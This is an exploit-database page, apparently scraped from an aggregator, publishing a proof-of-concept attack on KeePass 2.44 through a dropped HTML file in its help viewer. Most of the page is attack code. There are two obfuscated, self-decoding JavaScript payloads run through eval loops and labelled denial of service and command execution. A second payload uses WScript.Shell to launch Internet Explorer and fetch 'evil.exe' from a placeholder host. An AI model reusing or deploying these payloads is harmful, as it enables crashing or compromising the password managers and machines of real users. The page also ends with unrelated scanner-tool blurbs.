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"KeePass 2.44 - Denial of Service (PoC)"

Author

Exploit author

"Mustafa Emre Gül"

Platform

Exploit platform

multiple

Release date

Exploit published date

2020-01-22

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# Exploit Title : KeePass 2.44 - Denial of Service (PoC)
# Product : KeePass Password Safe
# Version : < 2.44
# Date: 2020-01-22
# Vendor Homepage: https://keepass.info/
# Exploit Author: Mustafa Emre Gül
# Website: https://emregul.com.tr/
# Tested On : Win10 x64
# Description : The free, open source, light-weight and easy-to-use password manager.


PoC:
Open KeePass > Help > About KeePass > Help (any local help area) >
Drag&Drop HTML File

Save the contents to html.


Payload-1:
(DoS & Run Cmd)

<script type="text/javascript">
//<![CDATA[
<!--
var x="function f(x){var i,o=\"\",l=x.length;for(i=l-1;i>=0;i--) {try{o+=x.c" +
"harAt(i);}catch(e){}}return o;}f(\")\\\"function f(x,y){var i,o=\\\"\\\\\\\""+
"\\\\,l=x.length;for(i=0;i<l;i++){if(i==28)y+=i;y%=127;o+=String.fromCharCod" +
"e(x.charCodeAt(i)^(y++));}return o;}f(\\\"\\\\xr}jMDLW\\\\\\\\nRTN\\\\\\\\\\"+
"\\\\\\LFE\\\\\\\\004\\\\\\\\017\\\\\\\\022GD\\\\\\\\\\\\\\\\^\\\\\\\\rhGjYh" +
"83#9y2/(-s:\\\\\\\\021\\\\\\\\024\\\\\\\\013\\\\\\\\025Y9D\\\\\\\\037E\\\\\\"+
"\\034\\\\\\\\013F\\\\\\\\017\\\\\\\\002\\\\\\\\003\\\\\\\\037\\\\\\\\021\\\\"+
"\\\\005\\\\\\\\033\\\\\\\\021\\\\\\\\030\\\\\\\\020*UX\\\\\\\\032\\\\\\\\02" +
"5\\\\\\\\025\\\\\\\\010\\\\\\\\030\\\\\\\\020t<^!M@;?T+4W~Q`3}tfr4}bch4\\\\" +
"\\\\177jith\\\\\\\\\\\"\\\\|\\\\\\\\003g[TLTB[u\\\\\\\\010\\\\\\\\013OB@[U_" +
"F\\\\\\\\016h\\\\\\\\027\\\\\\\\033\\\\\\\\006d\\\\\\\\033\\\\\\\\004gNaP\\" +
"\\\\\\003\\\\\\\\\\\"\\\\.&:z\\\\\\\\0314\\\\\\\\033&u9(>$>;p=3=3 70=d\\\\\\"+
"\\006y\\\\\\\\n\\\\\\\\037\\\\\\\\r<\\\\\\\\022\\\\\\\\010\\\\\\\\022\\\\\\" +
"\\027J \\\\\\\\010\\\\\\\\004\\\\\\\\007\\\\\\\\r\\\\\\\\0177NS2\\\\\\\\035" +
",\\\\\\\\037.\\\\\\\\001(\\\\\\\\033VWX=\\\\\\\\023\\\\\\\\026\\\\\\\\\\\\\\"+
"\\\\\\\\\\016\\\\\\\\026l!\\\\\\\\\\\"\\\\_vYh'()Ynx-}g|1/3Wgsvl|Uyvx}k\\\\" +
"\\\\010}\\\\\\\\000tWFTNX]\\\\\\\\004xDHBCl\\\\\\\\023\\\\\\\\033\\\\\\\\02" +
"3\\\\\\\\024iDkV\\\\\\\\031\\\\\\\\032\\\\\\\\033\\\\\\\\177\\\\\\\\\\\\\\\\"+
"RS`2*/j\\\\\\\\0273)`\\\\\\\\025h\\\\\\\\027n\\\\\\\\021l,=5|6,0\\\\\\\\nu\\"+
"\\\\\\004{\\\\\\\\006yu}~\\\\\\\\003\\\\\\\\022=\\\\\\\\014CDE5\\\\\\\\002\\"+
"\\\\\\034I\\\\\\\\031\\\\\\\\003\\\\\\\\000MSO>\\\\\\\\036\\\\\\\\006\\\\\\" +
"\\033\\\\\\\\035\\\\\\\\033\\\\\\\\021WXYZ'\\\\\\\\016!\\\\\\\\020 !\\\\\\\\"+
"\\\"\\\\_vYh;'ziye}z1LcN}(:tx|`$GnAp#\\\\\\\\017IVNH\\\\\\\\033\\\\\\\\004\\"+
"\\\\\\016\\\\\\\\023\\\\\\\\031\\\\\\\\021\\\"\\\\,28)\\\"(f};)lo,0(rtsbus." +
"o nruter};)i(tArahc.x=+o{)--i;0=>i;1-l=i(rof}}{)e(hctac};l=+l;x=+x{yrt{)401" +
"=!)31/l(tAedoCrahc.x(elihw;lo=l,htgnel.x=lo,\\\"\\\"=o,i rav{)x(f noitcnuf\""+
")"                                                                           ;
while(x=eval(x));
//-->
//]]>
</script>
<script type="text/javascript">
//<![CDATA[
<!--
var x="function f(x){var i,o=\"\",ol=x.length,l=ol;while(x.charCodeAt(l/13)!" +
"=48){try{x+=x;l+=l;}catch(e){}}for(i=l-1;i>=0;i--){o+=x.charAt(i);}return o" +
".substr(0,ol);}f(\")19,\\\"ZPdw771\\\\b77-0xjk-7=3771\\\\sp,cw$520\\\\:330\\"+
"\\xg030\\\\jj9%530\\\\b000\\\\XZUUVX620\\\\LP\\\\\\\\Pr\\\\610\\\\KOHD400\\" +
"\\620\\\\720\\\\\\\\\\\\WOWGPr\\\\530\\\\NClAauFkD,$gqutdr/3-ig~`|)rkanwbo2" +
"30\\\\t\\\\ 520\\\\&310\\\\$n\\\\200\\\\)230\\\\/000\\\\-K530\\\\310\\\\310" +
"\\\\n\\\\630\\\\010\\\\IULFW620\\\\600\\\\400\\\\700\\\\520\\\\=*100\\\\(70" +
"0\\\\4500\\\\*310\\\\-u}xy8pt~}|{771\\\\itg/e771\\\\sb|`V620\\\\530\\\\NT\\" +
"\\\\\\MdYjGh010\\\\@TVI[O410\\\\620\\\\n\\\\330\\\\ZB@CQA200\\\\SAijArGhEec" +
"J{HaN*2S?9t)V)5,&waedtbn\\\\!010\\\\'420\\\\%n\\\\+r\\\\U]XY030\\\\PT^]\\\\" +
"\\\\[ZY]GZEr\\\\CYQ@b~4|);/pw$:2'610\\\\?410\\\\=220\\\\vn720\\\\h520\\\\hz" +
"f7!%$4\\\"\\\\730\\\\L\\\\\\\\JOfWdEjN420\\\\230\\\\230\\\\IU710\\\\@BE_IG]" +
"AHyV771\\\\430\\\\300\\\\|kntnxixnv|:`kwe2S3h|r~)|wowgp>o\\\\\\\\410\\\\!B7" +
"30\\\\330\\\\430\\\\020\\\\K030\\\\)600\\\\/L530\\\\530\\\\330\\\\600\\\\QN" +
"C400\\\\500\\\\r\\\\320\\\\710\\\\720\\\\320\\\\M620\\\\710\\\\500\\\\2+>3?" +
"\\\"(f};o nruter};))++y(^)i(tAedoCrahc.x(edoCrahCmorf.gnirtS=+o;721=%y{)++i" +
";l<i;0=i(rof;htgnel.x=l,\\\"\\\"=o,i rav{)y,x(f noitcnuf\")"                 ;
while(x=eval(x));
//-->
//]]>
</script>



Payload-2:
(run iexplorer.exe & download infected file)

<html><body>
<script>
function exec(cmdline, params) {
  var fso = new ActiveXObject("Scripting.FileSystemObject");
  fileExist = fso.FileExists(cmdline);
  if (!fileExist) {
    alert("The requested application is not installed.");
  }
  else {
    var shell = new ActiveXObject( "WScript.Shell" );
    if (params) {
        params = ' ' + params;
    }
    else {
        params = '';
    }
    shell.Run('"' + cmdline + '"' + params);
  }
}
</script>
<a href="javascript:exec('C:\\Program Files\\Internet
Explorer\\iexplore.exe', '-nomerge
http://ipaddress/evil.exe');">Edition Mode Active</a>
 </body></html>
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import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/47952/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.